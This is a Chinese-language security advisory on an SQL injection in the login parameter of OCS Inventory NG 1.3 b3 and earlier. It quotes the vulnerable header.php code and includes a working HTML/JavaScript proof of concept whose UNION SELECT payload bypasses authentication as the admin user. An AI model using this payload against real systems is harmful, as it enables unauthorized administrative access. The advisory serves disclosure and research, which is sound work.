OCS Inventory NG Server login参数SQL注入漏洞
发布日期:2010-01-29
更新日期:2010-02-01
受影响系统:OCS Inventory Team OCS Inventory NG <= 1.3 b3
描述:
BUGTRAQ ID:
38005
OCS Inventory NG(Open Computer and Software Inventory Next Generation)是一款系统管理软件,能帮助管理员掌握计算机软件安装和配置,在HTTP代理和服务器之间实现低网络流量通讯。
OCS Inventory NG的header.php文件中存在SQL注入漏洞,远程攻击者可以通过提交特制的SQL查询字符串在数据库中创建或修改任意信息,或绕过认证执行非授权操作。以下是header.php中的有漏洞代码段:
102 if(isset($_POST["login"])) {
103 $req="SELECT id, accesslvl, passwd FROM operators WHERE
id='".$_POST["login"]."'";
104 $res=mysql_query($req,$_SESSION["readServer"]) or die(mysql_error());
105
106 if($row=@mysql_fetch_object($res))
107 {
108 // DL 25/08/2005
109 // Support new MD5 encrypted password or old clear password
for login only
110 if (($row->passwd != md5( $_POST["pass"])) and
111 ($row->passwd != $_POST["pass"])) {
<*来源:Nicolas DEROUET (
nicolas.derouet@gmail.com)
链接:
http://marc.info/?l=bugtraq&m=126479746108162&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<script>
function inject()
{
document.getElementById('log').action =
document.getElementById('ocsreports').value + 'index.php';
sql = "0' UNION SELECT id, accesslvl,
'a181b4673216ad247a0f78066a9646e1' FROM operators WHERE id='"
document.getElementById('login').value = sql +
document.getElementById('user').value;
document.getElementById('pass').value = "inject";
}
</script>
<form name="log" id="log" action="" method="post">
<table border="0" width="450px">
<tr>
<td><b>OCSReports :</b></td>
<td><input type="text" id="ocsreports" size="40"
value="
http://127.0.0.1/ocsreports/" /></td>
</tr>
<tr>
<td><b>Login :</b></td>
<td><input type="text" id="user" size="40" value="admin" /></td>
</tr>
<tr>
<td><input type="hidden" name="login" id="login" />
<input type="hidden" name="pass" id="pass" /></td>
<td><input type="submit" name="subLogin" onclick="inject();"></td>
</tr>
</table>
</form>
建议:
厂商补丁:
OCS Inventory Team
------------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.ocsinventory-ng.org/浏览次数:3699
严重程度:0(网友投票)